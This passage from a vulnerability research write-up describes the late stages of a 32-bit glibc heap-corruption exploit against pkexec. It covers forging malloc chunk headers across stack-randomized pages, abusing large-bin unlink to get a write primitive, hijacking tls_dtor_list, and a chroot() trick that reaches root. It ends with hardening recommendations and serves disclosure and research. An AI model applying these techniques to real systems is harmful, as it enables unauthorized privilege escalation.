address space -- this would halt our exploit! Once we’ve caused this condition, our tail-end mappings look a bit like this: 407c8000-7c7c8000 rw-p 00000000 00:00 0 /* mmap() based heap */ 7c88e000-bf91c000 rw-p 00000000 00:00 0 [stack] bf91c000-bff1c000 rw-p 00000000 00:00 0 /* another mmap() heap extent */ Step 6: Commandeer a malloc metadata chunk header The heap corruption listed in step 3 now plays out in a heap extent that is past the stack. Why did we go to all this effort? Because it avoids the despair in step 4. The huge backwards index of 0x63732e00 now results in an address that is mapped! Specifically, it will hit somewhere around the 0x50700000 range, squarely in the middle of our heap spray. We control the content at this address. At this juncture, we encounter the first non-determinism in our exploit. This is of course a shame as we deployed quite a few tricks to avoid randomness. But, by placing a heap extent past the stack, we’ve fallen victim to stack randomization. That’s one piece of randomization we were not able to bypass. By experimental determination, the top of the stack seems to range from 0xbf800000-0xbffff000, for 2048 (2^11) different possibilities with 4k (PAGE_SIZE) granularity. A brief departure on exploit reliability. As we spray the heap, the heap grows in mmap() extents of size 1MB. There is no control over this. Therefore, there’s a chance that the stack will randomly get mapped sufficiently high that a 1MB mmap() heap extent cannot fit above the stack. This will cause the exploit to fail about 1 in 8 times. Since the exploit is a local privilege escalation and takes just a few seconds, you can simply re-run it. In order to get around this randomness, we cater for every possible stack location in the exploit. The backwards index to a malloc chunk header will land at a specific offset into any one of 2048 different pages. So we simply forge a malloc chunk header at all of those locations. Whichever one hits by random, our exploit will continue in a deterministic manner by using the same path forward. At this time, it’s worth noting why we sprayed the heap with 59-byte strings. These end up spaced 64 bytes apart. Since 64 is a perfect multiple of PAGE_SIZE (4096), we end up with a very uniform heap spray pattern. This gives us two things: an easy calculation to map command line arguments to an address where the string will be placed in the heap, and a constant offset into the command line strings for where we need to place the forged heap chunk payload. Step 7: Clobber the tls_dtor_list So, we have now progressed to the point where we corrupt memory such that a free() call will end up using a faked malloc chunk header structure that we control. In order to further progress, we abuse freelist linked list operations to write a specific value to a specific address in memory. Let’s have a look at the malloc.c code to remove a pointer from a doubly-linked freelist: #define unlink(AV, P, BK, FD) { \ [...] if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) { \ mutex_unlock(&(AV)->mutex); \ malloc_printerr (check_action, "corrupted double-linked list", P); \ mutex_lock(&(AV)->mutex); \ } else { \ if (!in_smallbin_range (P->size) \ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ assert (P->fd_nextsize->bk_nextsize == P); \ assert (P->bk_nextsize->fd_nextsize == P); \ if (FD->fd_nextsize == NULL) { \ [...] } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ [...] We see that the main doubly linked list is checked in a way that makes it hard for us to write to arbitrary locations. But the special doubly linked list for larger allocations has only some debug asserts for the same type of checks. (Aside: there’s some evidence that Ubuntu glibc builds might compile these asserts in, even for release builds. Fedora certainly does not.) So we craft our fake malloc header structure so that the main forward and back pointers point back to itself, and so that the size is large enough to enter the secondary linked list mani****tion. This bypasses the main linked list corruption check, but allows us to provide arbitrary values for the secondary linked list. These arbitrary values let us write an arbitrary 4-byte value to an arbitrary 4-byte address, but with a very significant limitation: the value we write must itself be a valid writeable address, on account of the double linking of the linked list. i.e. after we write our arbitrary value of P->bk_nextsize to P->fd_nextsize, the value P->bk_nextsize is itself dereferenced and written to. This limitation does provide a headache. At this point in the process’ lifetime, it is printing an error message just before it frees a few things up and exits. There are not a huge number of opportunities to gain control of code execution, and our corruption primitive does not let us directly overwrite a function pointer with another, different pointer to code. To get around this, we note that there are two important glibc static data structure pointers that indirectly control some code that gets run during the exit() process: __exit_funcs and tls_dtor_list. __exit_funcs does not work well for us because the structure contains an enum value that has to be some small number like 0x00000002 in order to be useful to us. It is hard for us to construct fake structures that contain NUL bytes in them because our building block is the NUL-terminated string. But tls_dtor_list is ideal for us. It is a singly linked list that runs at exit() time, and for every list entry, an arbitrary function pointer is called with an arbitrary value (which has to be a pointer due to previous contraints)! It’s an easy version of ROP. Step 8: Deploy a chroot() trick For our first attempt to take control of the program, we simply call system(“/bin/bash”). This doesn’t work because this construct ends up dropping privileges. It is a bit disappointing to go to so much trouble to run arbitrary code, only to end up with a shell running at our original privilege level. The deployed solution is to chain in a call to chroot() before the call to system(). This means that when system() executes /bin/sh, it will do so inside a chroot we have set up to contain our own /bin/sh program. Inside our fake /bin/sh, we will end up running with effective root privilege. So we switch to real root privilege by calling setuid(0) and then execute a real shell. TL;DR: Done! We escalated from a normal user account to root privileges. Step 9: Tea and medals; reflect The main point of going to all this effort is to steer industry narrative away from quibbling about whether a given bug might be exploitable or not. In this specific instance, we took a very subtle memory corruption with poor levels of attacker control over the overflow, poor levels of attacker control over the heap state, poor levels of attacker control over important heap content and poor levels of attacker control over program flow. Yet still we were able to produce a decently reliable exploit! And there’s a long history of this over the evolution of exploitation: proclamations of non-exploitability that end up being neither advisable nor correct. Furthermore, arguments over exploitability burn time and energy that could be better spent protecting users by getting on with shipping fixes. Aside from fixing the immediate glibc memory corruption issue, this investigation led to additional observations and recommendations: Memory leaks in setuid binaries are surprisingly dangerous because they can provide a heap spray primitive. Fixing the pkexec memory leak is recommended. The ability to lower ASLR strength by running setuid binaries with carefully chosen ulimits is unwanted behavior. Ideally, setuid programs would not be subject to attacker-chosen ulimit values. There’s a long history of attacks along these lines, such as this recent file size limit attack. Other unresolved issues include the ability to fail specific allocations or fail specific file opens via carefully chosen RLIMIT_AS or RLIMIT_NOFILE values. The exploit would have been complicated significantly if the malloc main linked listed hardening was also applied to the secondary linked list for large chunks. Elevating the assert() to a full runtime check is recommended. We also noticed a few environment variables that give the attacker unnecessary options to control program behavior, e.g. G_SLICE letting the attacker control properties of memory allocation. There have been interesting historical instances where controlling such properties assisted exploitation such as this traceroute exploit from 2000. We recommend closing these newer routes too. I hope you enjoyed this write-up as much as I enjoyed developing the exploit! There’s probably a simple trick that I’ve missed to make a much simpler exploit. If you discover that this is indeed the case, or if you pursue a 64-bit exploit, please get in touch! For top-notch work, we’d love to feature a guest blog post. Sursa: Project Zero: The poisoned NUL byte, 2014 edition